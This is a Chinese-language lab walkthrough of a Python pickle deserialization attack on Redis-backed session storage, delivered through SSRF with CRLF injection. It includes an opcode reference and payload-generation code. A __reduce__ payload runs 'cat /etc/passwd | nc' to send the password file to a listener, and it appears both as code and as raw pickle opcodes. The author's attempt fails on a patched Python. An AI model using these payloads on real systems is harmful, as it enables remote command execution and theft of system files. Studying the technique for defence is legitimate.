存储session对象时 当然不能直接存储对象 需要转换成有规律的字符串 这一过程就涉及到了序列化
将对象转换成字符串这一过程称之为序列化
PYTHON反序列化漏洞
本文中就涉及到了pickle这一序列化模块导致的反序列化漏洞
在反序列化结束时 会触发__reduce__魔术方法 类似于php中的__wakeup 也就是 将字符串还原为对象这一过程会调用这一魔术方法
在序列化过程中 要经过PVM 而这个pvm处理逻辑类似于 栈
这里引入一个图 方便理解
左侧为序列化字符串
当读入时
首先读入 栈结构
c_builtin__ R
file /etc/passwd
(s' (
/etc/passwd file
R c_builtin__
最终栈通过opcode得到序列化对象
常用opcode:
指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
我们只要构造恶意的序列化对象 就会导致任意命令执行
接下来我们在环境中做一下尝试
payload 生成代码
class PickleExploit(object):
def __reduce__(self):
ip = "127.0.0.1"
port = "9091"
cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
return (os.system, (cmd,))
def pickle_payload(key):
res = ""
payload = pickle.dumps(PickleExploit())
res += "\r\n"
res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))
res = res.replace("\n", "\r\n")
print(generate_gopher(res).replace("gopher","http"))
很简单 其实就是给我们的session文件写入
注意 新的session文件要与原来的不同 通过用新的session访问网页触发序列化
cposix
system
p0
(S'cat /etc/passwd | nc 127.0.0.1 9091'
p1
tp2
Rp3
这里我们稍微修改一下 把执行结果返回给 kali 192.168.80.153
当然 我们不止能查看文件 也可以做其他操作
现在我们试一试
kali上监听 9091
ssrf请求发出
发现urllib不解析回车符号 crlf失败了
在python2.7.18版本中crlf早就被修复了 crlf漏洞出现在2.0到2.7.16版本之间
如果成功绕过 服务器会将把passwd中的值返回给攻击者
注意攻击者需要利用新的session访问网页 以触发序列化
注意原session为606c3dd2-3845-4708-a65e-07af1e30af5c